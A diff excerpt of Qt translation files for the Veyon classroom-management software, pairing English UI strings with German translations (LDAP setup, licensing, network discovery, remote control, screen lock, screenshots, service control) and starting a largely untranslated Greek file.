names to be stored as simple host names without a domain name but entered a host name with a domain name part. + Sie haben eingestellt, dass Computerhostnamen als einfache Hostnamen gespeichert sind, haben aber einen Computername mit Domain eingegeben. + + + computer objects + Computerobjekte + + + computer host name attribute + Attribut Computername + + + Enter computer DN + Computer-DN eingeben + + + Please enter the DN of a computer whose MAC address to query: + Bitte geben Sie den DN von einem Computer ein, dessen MAC-Adresse abgefragt werden soll: + + + computer MAC addresses + Computer-MAC-Adressen + + + computer MAC address attribute + Attribut Computer-MAC-Adresse + + + users + Benutzer + + + user groups + Benutzergruppen + + + computer groups + Computergruppen + + + Please enter a user login name whose group memberships to query: + Bitte geben Sie den Benutzerlogin-Name ein, dessen Gruppenmitgliedschaften abgefragt werden sollen: + + + groups of user + Gruppen des Benutzers + + + user login attribute or group membership attribute + Attribut Benutzerlogin oder Attribut Gruppenmitgliedschaft + + + User not found + Benutzer nicht gefunden + + + Could not find a user with the name "%1". Please check the user name or the user tree parameter. + Es wurde kein Benutzer mit dem Name "%1" gefunden! Bitte überprüfen Sie den Benutzername oder den Benutzergruppen-Parameter. + + + Enter host name + Computername eingeben + + + Please enter a computer host name whose group memberships to query: + Bitte geben Sie den Computername ein, dessen Gruppenmitgliedschaften abgefragt werden sollen: + + + groups of computer + Gruppen des Computers + + + computer host name attribute or group membership attribute + Attribut Computername oder Gruppenmitgliedschaftsattribut + + + Computer not found + Computer nicht gefunden + + + Could not find a computer with the host name "%1". Please check the host name or the computer tree parameter. + Es wurde kein Computer mit dem Name "%1" gefunden. Bitte überprüfen Sie den Computername oder den Computerbaum-Parameter. + + + Enter computer IP address + Computer-IP-Adresse eingeben + + + Please enter a computer IP address which to resolve to an computer object: + Bitte geben Sie eine Computer-IP-Adresse ein, die in ein Computerobjekt aufgelöst werden soll: + + + Host name lookup failed + Auflösung des Hostnamens fehlgeschlagen + + + Could not lookup host name for IP address %1. Please check your DNS server settings. + Der Hostname für die IP-Adresse %1 konnte nicht ermittelt werden. Bitte überprüfen Sie Ihre DNS-Server-Einstellungen. + + + computers + Computer + + + LDAP %1 test failed + LDAP %1 Test fehlgeschlagen + + + Could not query any entries in configured %1. Please check the %1 parameter. + +%2 + Es konnten keine Enträge im konfigurierten %1 abgefragt werden. Bitte überprüfen Sie den/die Parameter %1. + +%2 + + + LDAP %1 test successful + LDAP %1 Test erfolgreich + + + The %1 has been queried successfully and %2 entries were found. + Der %1 wurde erfolgreich abgefragt und %2 Einträge wurden gefunden. + + + Could not query any %1. Please check the %2 parameter or enter the name of an existing object. + +%3 + Es konnte keine %1 abgefragt werden. Bitte überprüfen Sie den/die Parameter %2 oder geben Sie den Namen eines existierenden Objekts ein. + +%3 + + + %1 %2 have been queried successfully: + +%3 + %1 %2 wurden erfolgreich abgefragt: + +%3 + + + LDAP filter test failed + LDAP-Filter-Test fehlgeschlagen + + + Could not query any %1 using the configured filter. Please check the LDAP filter for %1. + +%2 + Es konnten keine %1 mit dem eingestellten Filter abfragen. Bitte überprüfen Sie den LDAP-Filter für %1. + +%2 + + + LDAP filter test successful + LDAP-Filter-Test erfolgreich + + + %1 %2 have been queried successfully using the configured filter. + %1 %2 wurden mit dem konfigurierten Filter erfolgreich abgefragt. + + + (only if different from group tree) + (nur wenn anders als Gruppenbaum) + + + Computer group tree + Computergruppenbaum + + + computer group tree + Computergruppenbaum + + + Filter for computers + Filter für Computer + + + e.g. room or computerLab + z.B. room oder computerLab + + + List all members of a computer room + Alle Mitglieder eines Computerraums auflisten + + + List all computer rooms + Alle Computerräume auflisten + + + Enter computer room name + Computerraumname eingeben + + + Please enter the name of a computer room (wildcards allowed): + Bitte geben Sie den Namen eines Computerraums ein (Platzhalter erlaubt): + + + computer rooms + Computerräume + + + computer room attribute + Computerraumattribut + + + Please enter the name of a computer room whose members to query: + Bitte geben Sie den Namen eines Computerraums ein, dessen Mitglieder abgefragt werden sollen: + + + computer room members + Computerraummitglieder + + + computer group filter or computer room member aggregation + Computergruppenfilter oder Gruppierung von Computerraummitgliedern + + + Computer rooms + Computerräume + + + Integration tests + Integrationstests + + + Computer room attribute + Attribut Computerraum + + + Aggregate computers in a room via: + Computer in einem Raum gruppieren über: + + + Computer groups + Computergruppen + + + Computer room attribute in computer objects + Attribut Computerraum in Computerobjekten + + + Test not applicable + Test nicht anwendbar + + + Computer room name attribute + Attribut Computerraumname + + + e.g. name or description + z.B. name oder description + + + Filter for computer containers + Filter für Computercontainer + + + Computer containers or OUs + Computercontainer oder OUs + + + Please change the computer room settings to use computer groups or computer containers as computer rooms. Then the specified attribute instead of the common name of computer groups or container objects will be queried. Otherwise you don't need to configure this attribute. + Bitte ändern Sie die Computerraumeinstellungen, so dass Computergruppen oder Computercontainer als Computerräume verwendet werden. Dann wird das angegebene Attribut anstatt des Common Names von Computergruppen oder übergeordneten Objekten abgefragt. Andernfalls müssen Sie dieses Attribut nicht konfigurieren. + + + Please change the computer room settings below to use computer containers as computer rooms. Otherwise you don't need to configure this filter. + Bitte ändern Sie die Computerraumeinstellungen unterhalb, so dass Computercontainer als Computerräume verwendet werden. Andernfalls müssen Sie diesen Filter nicht konfigurieren. + + + Connection security + Verbindungssicherheit + + + TLS certificate verification + TLS-Zertifikatsüberprüfung + + + System defaults + Systemstandard + + + Never (insecure!) + Nie (unsicher!) + + + Custom CA certificate file + Benutzerdefinierte CA-Zertifikatsdatei + + + None + Keine + + + TLS + TLS + + + SSL + SSL + + + e.g. (objectClass=computer) + z.B. (objectClass=computer) + + + e.g. (objectClass=group) + z.B. (objectClass=group) + + + e.g. (objectClass=person) + z.B. (objectClass=person) + + + e.g. (objectClass=room) or (objectClass=computerLab) + z.B. (objectClass=room) oder (objectClass=computerLab) + + + e.g. (objectClass=container) or (objectClass=organizationalUnit) + z.B. (objectClass=container) oder (objectClass=organizationalUnit) + + + Could not query the configured base DN. Please check the base DN parameter. + +%1 + Die konfigurierte Base-DN konnte nicht abgefragt werden. Bitte überprüfen Sie den Base-DN-Parameter. + +%1 + + + The LDAP base DN has been queried successfully. The following entries were found: + +%1 + Die LDAP-Base-DN wurde erfolgreich abgefragt. Die folgenden Einträge wurden gefunden: + +%1 + + + Could not query the base DN via naming contexts. Please check the naming context attribute parameter. + +%1 + Die Base-DN konnte nicht mittels Naming-Contexts abgefragt werden. Bitte überprüfen Sie den Naming-Context-Attribut-Parameter. + +%1 + + + Certificate files (*.pem) + Zertifikatsdateien (*.pem) + + + Could not connect to the LDAP server. Please check the server parameters. + +%1 + Verbindung zum LDAP-Server konnte nicht hergestellt werden. Bitte überprüfen Sie die Servereinstellungen. + +%1 + + + Could not bind to the LDAP server. Please check the server parameters and bind credentials. + +%1 + Bind zum LDAP-Server fehlgeschlagen. Bitte überprüfen Sie die Serverparameter und Bind-Zugangsdaten. + +%1 + + + Encryption protocol + Verschlüsselungsprotokoll + + + + LdapPlugin + + Auto-configure the base DN via naming context + Basis-DN mittels Naming-Context automatisch konfigurieren + + + Query objects from LDAP directory + Objekte aus LDAP-Verzeichnis abfragen + + + Show help about command + Hilfe über Befehl anzeigen + + + Commands for configuring and testing LDAP/AD integration + Befehle zum Konfigurieren und Testen der LDAP-/AD-Integration + + + Provide LDAP/AD integration for Veyon + LDAP/AD-Anbindung für Veyon + + + LDAP (load computers and rooms from LDAP/AD) + LDAP (Computer und Räume aus LDAP/AD laden) + + + LDAP (load users and groups from LDAP/AD) + LDAP (Benutzer und Gruppen aus LDAP/AD laden) + + + + LicensingConfigurationPage + + Licensing + Lizenzierung + + + Installed licenses + Installierte Lizenzen + + + Add new network range + Neuen Netzwerkbereich hinzufügen + + + Remove selected network range + Gewählten Netzwerkbereich entfernen + + + ID + ID + + + Feature + Funktion + + + Valid until + Gültig bis + + + Licensee + Lizenznehmer + + + Browse license file + Lizenzfile auswählen + + + Veyon license files (*.vlf) + Veyon-Lizenz-Datei (*.vlf) + + + Remove license + Lizenz entfernen + + + Do you really want to remove the selected license? + Möchten Sie wirklich die gewählte Lizenz entfernen? + + + <N/A> + <N/V> + + + Invalid license file + Ungültige Lizenzdatei + + + Could not open the license file for reading! + Die Lizenzdatei konnte nicht zum Lesen geöffnet werden! + + + The selected license file does not contain valid data. + Die gewählte Lizenzdatei enthält keine gültigen Daten. + + + The selected license file could not be verified. + Die gewählte Lizenzdatei konnte nicht verifiziert werden. + + + The selected license file is not valid for this installation. + Die gewählte Lizenzdatei ist nicht gültig für diese Installation. + + + The selected license file is expired. + Die gewählte Lizenzdatei ist abgelaufen. + + + The license is already installed. + Die Lizenz ist bereits installiert. + + + + LicensingPlugin + + Show help for specific command + Hilfe für bestimmten Befehl anzeigen + + + Show all installed licenses + Alle installierten Lizenzen anzeigen + + + Add license file + Lizenzdatei hinzufügen + + + Remove installed license + Installierte Lizenz entfernen + + + +USAGE + +%1 add <LICENSE FILE> + + + +VERWENDUNG + +%1 add <LICENSE FILE> + + + + + +USAGE + +%1 remove <LICENSE ID> + + + +VERWENDUNG + +%1 remove <LICENSE ID> + + + + + No certificate found with given ID + Kein Zertifikat mit angegebener ID gefunden + + + <N/A> + <N/V> + + + Licensing management + Lizenzverwaltung + + + Commands for managing license keys + Befehle zum Verwalten von Lizenzschlüsseln + + + + LinuxPlatformPlugin + + Plugin implementing abstract functions for the Linux platform + Plugin zur Implementierung abstrakter Funktionen für die Linux-Plattform + + + + MainToolBar + + Configuration + Konfiguration + + + Disable balloon tooltips + Balloon-Tooltips deaktivieren + + + Show icons only + Nur Icons anzeigen + + + + MainWindow + + MainWindow + Hauptfenster + + + toolBar + Werkzeugleiste + + + General + Allgemein + + + &File + &Datei + + + &Help + &Hilfe + + + &Quit + &Beenden + + + Ctrl+Q + Strg+Q + + + Ctrl+S + Strg+S + + + L&oad settings from file + Einstellungen aus Datei &laden + + + Ctrl+O + Strg+O + + + About Qt + Über Qt + + + Authentication impossible + Authentifizierung nicht möglich + + + Configuration not writable + Konfiguration nicht schreibbar + + + Load settings from file + Einstellungen aus Datei laden + + + Save settings to file + Einstellungen in Datei speichern + + + Unsaved settings + Ungespeicherte Einstellungen + + + There are unsaved settings. Quit anyway? + Einige Einstellungen sind nicht gespeichert. Trotzdem beenden? + + + Veyon Configurator + Veyon Configurator + + + Service + Dienst + + + Master + Master + + + Access control + Zugriffskontrolle + + + About Veyon + Über Veyon + + + Auto + Auto + + + Computer rooms + Computerräume + + + About + Über + + + %1 Configurator %2 + %1 Configurator %2 + + + JSON files (*.json) + JSON-Dateien (*.json) + + + The local configuration backend reported that the configuration is not writable! Please run the %1 Configurator with higher privileges. + Das Backend für die lokale Konfiguration hat gemeldet, dass die Konfiguration nicht beschreibbar ist. Bitte führen Sie den %1 Configurator mit höheren Privilegien aus. + + + No authentication key files were found or your current ones are outdated. Please create new key files using the %1 Configurator. Alternatively set up logon authentication using the %1 Configurator. Otherwise you won't be able to access computers using %1. + Es wurden keine Authentifizierungsschlüsseldateien gefunden oder sie sind nicht mehr aktuell. Bitte erzeugen Sie neue Schlüsseldateien mit Hilfe des %1 Configurators. Alternativ können Sie die Anmelde-Authentifizierung mit Hilfe des %1 Configurators einrichten. Andernfalls werden Sie nicht in der Lage sein, mit %1 auf Computer zuzugreifen. + + + Access denied + Zugriff verweigert + + + According to the local configuration you're not allowed to access computers in the network. Please log in with a different account or let your system administrator check the local configuration. + Gemäß der lokalen Konfiguration sind Sie nicht berechtigt, auf Computer im Netzwerk zuzugreifen. Bitte melden Sie sich mit einem anderen Konto an oder lassen Ihren Systemadministrator die lokale Konfiguration überprüfen. + + + Screenshots + Bildschirmfotos + + + Feature active + Funktion aktiv + + + The feature "%1" is still active. Please stop it before closing %2. + Die Funktion "%1" ist noch aktiv. Bitte beenden Sie diese bevor Sie %2 schließen. + + + Reset configuration + Konfiguration zurücksetzen + + + Do you really want to reset the local configuration and revert all settings to their defaults? + Möchten Sie wirklich die lokale Konfiguration zurücksetzen und alle Einstellungen auf ihre Vorgabewerte setzen? + + + Search users and computers + Benutzer und Computer suchen + + + Adjust optimal size + Optimale Größe einstellen + + + Align computers to grid + Computer an Gitter ausrichten + + + Use custom computer placement + Benutzerdefinierte Computeranordnung verwenden + + + %1 Configurator + %1 Configurator + + + Insufficient privileges + Ungenügende Rechte + + + Could not start with administrative privileges. Please make sure a sudo-like program is installed for your desktop environment! The program will be run with normal user privileges. + Programmstart mit administrativen Rechten nicht möglich. Bitte stellen Sie sicher, dass ein sudo-ähnliches Programm für Ihre Desktop-Umgebung installiert ist! Das Programm wird nun mit normalen Benutzerrechten ausgeführt. + + + Only show powered on computers + Nur eingeschaltete Computer anzeigen + + + &Save settings to file + Einstellungen in Datei &speichern + + + &View + &Ansicht + + + &Standard + &Standard + + + &Advanced + &Erweitert + + + + MasterConfigurationPage + + Directories + Verzeichnisse + + + ... + ... + + + User configuration + Benutzerkonfiguration + + + Feature on computer double click: + Funktion bei Doppelklick: + + + Automatically switch to current room at start + Beim Start automatisch zu aktuellem Raum wechseln + + + Features + Funktionen + + + All features + Alle Funktionen + + + Disabled features + Deaktivierte Funktionen + + + Perform access control at program start + Zugriffskontrolle beim Programmstart durchführen + + + Screenshots + Bildschirmfotos + + + <no feature> + <Keine Funktion> + + + Automatically adjust computer thumbnail size at start + Beim Start automatisch die Größe der Computer-Miniaturansichten anpassen + + + Basic settings + Grundeinstellungen + + + Behaviour + Verhalten + + + Enforce selected mode for client computers + Gewählten Modus für Client-Computer durchsetzen + + + Only show current room + Nur aktuellen Raum anzeigen + + + Allow adding rooms manually + Manuelles Hinzufügen von Räumen erlauben + + + Hide local computer + Lokalen Computer ausblenden + + + Hide empty rooms + Leere Räume ausblenden + + + Hide computer filter field + Filterfeld für Computer ausblenden + + + Actions such as rebooting or powering down computers + Aktionen wie Computer neustarten oder ausschalten + + + Show confirmation dialog for potential dangerous actions + Bestätigungsdialog für potentiell gefährliche Aktionen anzeigen + + + User interface + Benutzeroberfläche + + + Background color + Hintergrundfarbe + + + Thumbnail update interval + Aktualisierungsintervall Vorschaubilder + + + ms + ms + + + Program start + Programmstart + + + Modes and features + Modi und Funktionen + + + User and computer name + Benutzer- und Computername + + + Only user name + Nur Benutzername + + + Only computer name + Nur Computername + + + Computer thumbnail caption + Computerminiaturbild-Beschriftung + + + Computer rooms + Computerräume + + + Automatically open computer rooms widget + Computerraumwidget automatisch öffnen + + + Text color + Textfarbe + + + Sort order + Sortierreihenfolge + + + Computer and user name + Computer- und Benutzername + + + + MonitoringMode + + Monitoring + Beobachten + + + Builtin monitoring mode + Eingebauter Beobachtungsmodus + + + This is the default mode and allows you to monitor all computers in one or more rooms. + Dies ist der Standardmodus und erlaubt es Ihnen, alle Computer in einem oder mehreren Räumen zu beobachten. + + + + NetworkDiscoveryConfigurationPage + + Network discovery + Netzwerkerkennung + + + Mode + Modus + + + Scan network ranges + Netzwerkbereiche scannen + + + e.g. 192.168.1.0/24 + z.B. 192.168.1.0/24 + + + Scan all subnets of computer + Alle Subnetze des Computers scannen + + + Scan custom subnet + Benutzerdefiniertes Subnetz scannen + + + Scan sessions on local computer + Sitzungen auf lokalem Computer scannen + + + Test + Testen + + + Network ranges + Netzwerkbereiche + + + Add new group + Neue Gruppe hinzufügen + + + Remove selected group + Gewählte Gruppe entfernen + + + Groups + Gruppen + + + First address + Erste Adresse + + + Last address + Letzte Adresse + + + Add new network range + Neuen Netzwerkbereich hinzufügen + + + Remove selected network range + Gewählten Netzwerkbereich entfernen + + + Parallel scans + Parallele Scans + + + Scan timeout + Scan-Timeout + + + ms + ms + + + Session scan limit + Limit für Sitzungsscan + + + New group + Neue Gruppe + + + Options + Optionen + + + Reverse lookup discovered IP addresses to host names + Gefundene IP-Adressen in Hostnamen rückwärts auflösen + + + + NetworkDiscoveryDirectory + + Scanning... + Scanne... + + + Discovered computers + Gefundene Computer + + + + NetworkDiscoveryPlugin + + Show help for specific command + Hilfe für bestimmten Befehl anzeigen + + + Scan a subnet + Ein Subnetz scannen + + + +USAGE + +%1 scan [<SUBNET>] + + + +VERWENDUNG + +%1 scan [<SUBNETZ>] + + + + Network object directory which automatically discovers computers in the network + Netzwerkobjektverzeichnis, das automatisch Computer im Netzwerk erkennt + + + Network discovery (scan network for Veyon clients) + Netzwerkerkennung (Veyon-Clients im Netzwerk suchen) + + + Commands for managing the network discovery directory + Befehle zur Verwaltung des Netzwerkobjektverzeichnisses + + + + NetworkObjectTreeModel + + Room/Computer + Raum/Computer + + + + PasswordDialog + + Username + Benutzername + + + Password + Passwort + + + Veyon Logon + Veyon-Anmeldung + + + Authentication error + Authentifizierungsfehler + + + Logon failed with given username and password. Please try again! + Die Anmeldung mit dem angegebenen Benutzername und Passwort ist fehlgeschlagen. Bitte versuchen Sie es erneut! + + + Please enter your username and password in order to access computers. + Bitte geben Sie Ihren Benutzername und Passwort ein, um auf Computer zuzugreifen. + + + + PowerControlFeaturePlugin + + Power on + Einschalten + + + Click this button to power on all computers. This way you do not have to power on each computer by hand. + Klicken Sie diesen Button an, um alle Computer einzuschalten. Auf diesem Wege müssen Sie nicht jeden Computer per Hand einschalten. + + + Reboot + Neustarten + + + Click this button to reboot all computers. + Klicken Sie auf diesen Button, um alle Computer neuzustarten. + + + Power down + Herunterfahren + + + Click this button to power down all computers. This way you do not have to power down each computer by hand. + Klicken Sie diesen Button an, um alle Computer herunterzufahren. Auf diesem Wege müssen Sie nicht jeden Computer per Hand herunterfahren. + + + Power on/down or reboot a computer + Computer ein-/ausschalten oder neustarten + + + Confirm reboot + Neustart bestätigen + + + Confirm power down + Herunterfahren bestätigen + + + Do you really want to reboot the selected computers? + Möchten Sie wirklich die gewählten Computer neustarten? + + + Do you really want to power down the selected computer? + Möchten Sie wirklich die gewählten Computer herunterfahren? + + + Power on a computer via Wake-on-LAN (WOL) + Computer via Wake-on-LAN (WOL) einschalten + + + MAC ADDRESS + MAC-ADRESSE + + + This command broadcasts a Wake-on-LAN (WOL) packet to the network in order to power on the computer with the given MAC address. + Dieser Befehl sendet ein Wake-on-LAN (WOL) Paket an das Netzwerk, um den Computer mit der angegebenen MAC-Adresse einzuschalten + + + Please specify the command to display help for! + Bitte geben Sie den Befehl an, für den Hilfe angezeigt werden soll! + + + Invalid MAC address specified! + Ungültige MAC-Adresse angegeben! + + + Commands for controlling power status of computers + Befehle zur Steuerung des Einschaltzustands von Computern + + + + RemoteAccessFeaturePlugin + + Remote view + Fernansicht + + + Open a remote view for a computer without interaction. + Eine Fernansicht ohne Interaktion/Bedienung für einen Computer öffnen. + + + Remote control + Fernsteuerung + + + Open a remote control window for a computer. + Eine Fernsteuerung für einen Computer öffnen. + + + Remote access + Fernzugriff + + + Remote view or control a computer + Fernansicht oder -Steuerung eines Computers + + + Please enter the hostname or IP address of the computer to access: + Bitte geben Sie den Hostnamen oder IP-Adresse des Computers ein, auf den Sie zugreifen möchten: + + + Show help about command + Hilfe über Befehl anzeigen + + + + RemoteAccessWidget + + %1 - %2 Remote Access + %1 - %2 Fernzugriff + + + + RemoteAccessWidgetToolBar + + View only + Nur beobachten + + + Remote control + Fernsteuern + + + Send shortcut + Tastaturkürzel senden + + + Fullscreen + Vollbild + + + Window + Fenster + + + Quit + Beenden + + + Ctrl+Alt+Del + Strg+Alt+Entf + + + Ctrl+Esc + Strg+Esc + + + Alt+Tab + Alt+Tab + + + Alt+F4 + Alt+F4 + + + Win+Tab + Win+Tab + + + Win + Win + + + Menu + Menü + + + Alt+Ctrl+F1 + Alt+Strg+F1 + + + Connecting %1 + Verbindung wird hergestellt %1 + + + Connected. + Verbindung hergestellt. + + + Screenshot + Bildschirmfoto + + + + RoomSelectionDialog + + Room selection + Raumauswahl + + + enter search filter... + Suchfilter eingeben... + + + + Routing + + Control internet access by modifying routing table + Internetzugriff durch Modifizierung der Routingtabelle + + + + RoutingConfigurationWidget + + Remove default routes to block internet access + Defaultroute entfernen um Internetzugriff zu sperren + + + Add custom route to block internet + Benutzerdefinierte Route hinzufügen um Internetzugriff zu sperren + + + Destination + Ziel + + + Gateway + Gateway + + + + RunProgramDialog + + Please enter the programs or commands to run on the selected computer(s). You can separate multiple programs/commands by line. + Bitte geben Sie die Programme oder die Befehle ein, die auf den gewählten Computern gestartet werden sollen. Sie können mehrere Programme/Befehle über einzelne Zeilen angeben. + + + Run programs + Programme starten + + + e.g. "C:\Program Files\VideoLAN\VLC\vlc.exe" + z.B. "C:\Programme\VideoLAN\VLC\vlc.exe" + + + + ScreenLockFeaturePlugin + + Lock + Sperren + + + Unlock + Entsperren + + + Lock screen and input devices of a computer + Bildschirm und Eingabegeräte eines Computers sperren + + + To reclaim all user's full attention you can lock their computers using this button. In this mode all input devices are locked and the screens are blacked. + Mit diesem Button können Sie alle Computer sperren und die volle Aufmerksamkeit der Benutzer zurückerhalten. In diesem Modus werden alle Eingabegeräte gesperrt und die Bildschirme der Benutzer schwarz eingefärbt. + + + + Screenshot + + unknown + unbekannt + + + Could not take a screenshot as directory %1 doesn't exist and couldn't be created. + Es konnte kein Bildschirmfoto erstellt werden, da das Verzeichnis %1 nicht existiert und nicht erstellt werden konnte. + + + Screenshot + Bildschirmfoto + + + + ScreenshotFeaturePlugin + + Screenshot + Bildschirmfoto + + + Use this function to take a screenshot of selected computers. + Nutzen Sie diese Funktion, um ein Bildschirmfoto der gewählten Computer aufzunehmen. + + + Screenshots taken + Bildschirmfotos aufgenommen + + + Screenshot of %1 computer have been taken successfully. + Bildschirmfotos von %1 Computern wurden erfolgreich aufgenommen. + + + Take screenshots of computers and save them locally. + Bildschirmfotos von Computern aufnehmen und lokal speichern. + + + + ScreenshotManagementView + + User: + Benutzer: + + + Date: + Datum: + + + Time: + Zeit: + + + Show + Anzeigen + + + Delete + Löschen + + + All screenshots taken by you are listed here. You can take screenshots by clicking the "Screenshot" item in the context menu of a computer. The screenshots can be managed using the buttons below. + Hier sind alle Bildschirmfotos aufgelistet, die Sie erstellt haben. Sie können Bildschirmfotos erstellen, indem Sie den Eintrag "Bildschirmfoto" im Kontextmenü eines Computers anklicken. Die Bildschirmfotos können mit Hilfe der unterhalb befindlichen Schaltflächen verwaltet werden. + + + Computer: + Computer: + + + + ServiceConfigurationPage + + General + Allgemein + + + Autostart + Autostart + + + Hide tray icon + Icon im Infobereich verstecken + + + Start service + Dienst starten + + + Stopped + Beendet + + + Stop service + Dienst stoppen + + + State: + Status: + + + Enable SAS generation by software (Ctrl+Alt+Del) + SAS-Generierung in Software aktivieren (Strg+Alt+Entf) + + + Network + Netzwerk + + + Demo server port + Demoserver-Port + + + Enable firewall exception + Firewall-Ausnahme aktivieren + + + Allow connections from localhost only + Nur Verbindungen vom lokalen Computer erlauben + + + Internal VNC server port + Port des internen VNC-Servers + + + VNC server + VNC-Server + + + Plugin: + Plugin: + + + Restart %1 Service + %1 Dienst neustarten + + + All settings were saved successfully. In order to take effect the %1 service needs to be restarted. Restart it now? + Alle Einstellungen wurden erfolgreich gespeichert. Damit die Einstellungen wirksam werden, muss der %1-Dienst neugestartet werden. Jetzt neustarten? + + + Running + Läuft + + + Feature manager port + Funktionsverwalter-Port + + + Primary service port + Primärer Dienst-Port + + + Enabling this option will make the service launch a server process for every interactive session on a computer. +Typically this is required to support terminal servers. + Wenn diese Option aktiviert wird, startet der Dienst einen Serverprozess für jede interaktive Sitzung auf einem Computer. +Normalerweise ist dies erforderlich, um Terminalserver zu unterstützen. + + + Multi session support (experimental) + Unterstützung von Merfachsitzungen (experimentell) + + + Show notification on remote connection + Benachrichtigung bei Fernzugriff anzeigen + + + Show notification on failed authentication attempts + Benachrichtigung bei fehlgeschlagenen Authentifizierungsversuchen anzeigen + + + + ServiceControl + + Starting service %1 + Starte Dienst %1 + + + Stopping service %1 + Beende Dienst %1 + + + Registering service %1 + Registriere Dienst %1 + + + Unregistering service %1 + Deregistriere Dienst %1 + + + Service control + Dienststeuerung + + + + ServiceControlPlugin + + Service is running + Dienst läuft + + + Service is not running + Dienst läuft nicht + + + Configure and control Veyon service + Veyon-Dienst konfigurieren und steuern + + + Register Veyon Service + Veyon-Dienst registrieren + + + Unregister Veyon Service + Veyon-Dienst deregistrieren + + + Start Veyon Service + Veyon-Dienst starten + + + Stop Veyon Service + Veyon-Dienst beenden + + + Restart Veyon Service + Veyon-Dienst neustarten + + + Query status of Veyon Service + Status des Veyon-Diensts abfragen + + + Commands for configuring and controlling Veyon Service + Befehle zur Konfiguration und Steuerung des Veyon-Diensts + + + + ShellCommandLinePlugin + + Run command file + Befehlsdatei ausführen + + + File "%1" does not exist! + Datei "%1 existiert nicht! + + + Interactive shell and script execution for Veyon Control + Interaktive Shell und Scriptausführung für Veyon Control + + + Commands for shell functionalities + Befehle für Shellfunktionalitäten + + + + SystemTrayIcon + + System tray icon + Icon im Infobereich + + + + SystemUserGroupsPlugin + + User groups backend for system user groups + Benutzergruppenbackend für Systembenutzergruppen + + + Default (system user groups) + Standard (Systembenutzergruppen) + + + + TextMessageDialog + + Send text message + Textnachricht übermitteln + + + Use the field below to type your message which will be sent to all selected users. + Nutzen Sie das Feld unterhalb, um Ihre Nachricht zu tippen, die an alle Benutzer übermittelt wird. + + + + TextMessageFeaturePlugin + + Text message + Textnachricht + + + Use this function to send a text message to all users e.g. to assign them new tasks. + Nutzen Sie diese Funktion, um eine Textnachricht an alle Benutzer zu übermitteln, z. B. um ihnen neue Aufgaben zuzuweisen. + + + Message from teacher + Nachricht vom Lehrer + + + Send a message to a user + Eine Nachricht an einen Benutzer senden + + + + UltraVncConfigurationWidget + + Enable capturing of layered (semi-transparent) windows + Halbdurchsichtige Fenster (layered windows) aufzeichnen + + + Poll full screen (leave this enabled per default) + Vollen Bildschirm abfragen (standardmäßig aktiviert lassen) + + + Low accuracy (turbo mode) + Niedrige Genauigkeit (Turbomodus) + + + Builtin UltraVNC server configuration + Konfiguration des eingebauten UltraVNC-Servers + + + Enable multi monitor support + Multi-Monitor-Unterstützung aktivieren + + + Enable Desktop Duplication Engine on Windows 8 and newer + Desktop-Duplication-Engine unter Windows 8 und neuer aktivieren + + + + UserConfig + + No write access + Kein Schreibzugriff + + + Could not save your personal settings! Please check the user configuration file path using the %1 Configurator. + Ihre persönlichen Einstellungen konnten nicht gespeichert werden! Bitte überprüfen Sie den Pfad für die Benutzerkonfiguration mit Hilfe des %1 Configurators. + + + + UserSessionControl + + User session control + Benutzersitzungssteuerung + + + Click this button to logout users from all computers. + Klicken Sie auf diesen Button, um die Benutzer von allen Computern abzumelden. + + + Confirm user logout + Benutzerabmeldung bestätigen + + + Do you really want to logout the selected users? + Möchten Sie wirklich die gewählten Benutzer abmelden? + + + Logout + Abmelden + + + + VeyonCore + + [OK] + [IN ORDNUNG] + + + [FAIL] + [FEHLGESCHLAGEN] + + + Invalid command! + Ungültiger Befehl! + + + Available commands: + Verfügbare Befehle: + + + Invalid arguments given + Ungültige Argumente angegeben + + + Not enough arguments given - use "%1 help" for more information + Nicht genügend Argumente angegeben - benutzen Sie "%1 help" für mehr Informationen + + + Unknown result! + Unbekanntes Ergebnis! + + + Available modules: + Verfügbare Module: + + + No module specified or module not found - available modules are: + Kein Modul angegeben oder Modul nicht gefunden - verfügbare Module sind: + + + Plugin not licensed + Plugin nicht lizenziert + + + INFO + INFO + + + ERROR + FEHLER + + + licensed for + lizenziert für + + + + VeyonServiceControl + + Veyon Service + Veyon-Dienst + + + + VncView + + Establishing connection to %1 ... + Verbindung zu %1 wird hergestellt ... + + + + WindowsPlatformPlugin + + Plugin implementing abstract functions for the Windows platform + Plugin zur Implementierung abstrakter Funktionen für die Windows-Plattform + + + + WindowsServiceControl + + WindowsServiceControl: the service "%1" is already installed. + WindowsServiceControl: der Dienst "%1" ist bereits installiert. + + + WindowsServiceControl: the service "%1" could not be installed. + WindowsServiceControl: der Dienst "%1" konnte nicht installiert werden. + + + WindowsServiceControl: the service "%1" has been installed successfully. + WindowsServiceControl: der Dienst "%1" wurde erfolgreich installiert. + + + WindowsServiceControl: the service "%1" could not be uninstalled. + WindowsServiceControl: der Dienst "%1" konnte nicht deinstalliert werden. + + + WindowsServiceControl: the service "%1" has been uninstalled successfully. + WindowsServiceControl: der Dienst "%1" wurde erfolgreich deinstalliert. + + + WindowsServiceControl: the start type of service "%1" could not be changed. + WindowsServiceControl: der Starttyp des Diensts "%1" konnte nicht geändert werden. + + + WindowsServiceControl: service "%1" could not be found. + WindowsServiceControl: der Dienst "%1" wurde nicht gefunden. + + + + X11VncConfigurationWidget + + Builtin x11vnc server configuration + Konfiguration des eingebauten x11vnc-Servers + + + Custom x11vnc parameters: + Benutzerdefinierte x11vnc-Parameter: + + + Do not use X Damage extension + X-Damage-Erweiterung nicht nutzen + + + \ No newline at end of file diff --git a/translations/el.ts b/translations/el.ts new file mode 100644 index 0000000..0b812ce --- /dev/null +++ b/translations/el.ts @@ -0,0 +1,3815 @@ + + + AboutDialog + + About + Σχετικά + + + Translation + Μετάφραση + + + License + Άδεια + + + About Veyon + Σχετικά με το Veyon + + + Contributors + Συνεισφέροντες + + + Version: + Έκδοση: + + + Website: + Ιστοσελίδα: + + + Current language not translated yet (or native English). + +If you're interested in translating Veyon into your local or another language or want to improve an existing translation, please contact a Veyon developer! + + + + About %1 %2 + Σχετικά %1 %2 + + + Support Veyon project with a donation + + + + + AccessControlPage + + Computer access control + + + + Grant access to every authenticated user (default) + + + + Test + Δοκιμή + + + Restrict access to members of certain user groups + + + + Process access control rules + + + + User groups authorized for computer access + + + + Please add the groups whose members should be authorized to access computers in your Veyon network. + + + + Authorized user groups + + + + All groups + Όλες οι ομάδες + + + ... + ... + + + Access control rules + + + + Add access control rule + + + + Remove access control rule + + + + Move selected rule down + Μετακίνηση του κανόνα προς τα κάτω + + + Move selected rule up + Μετακίνηση του κανόνα προς τα πάνω + + + Edit selected rule + Επεξεργασία επιλεγμένου κανόνα + 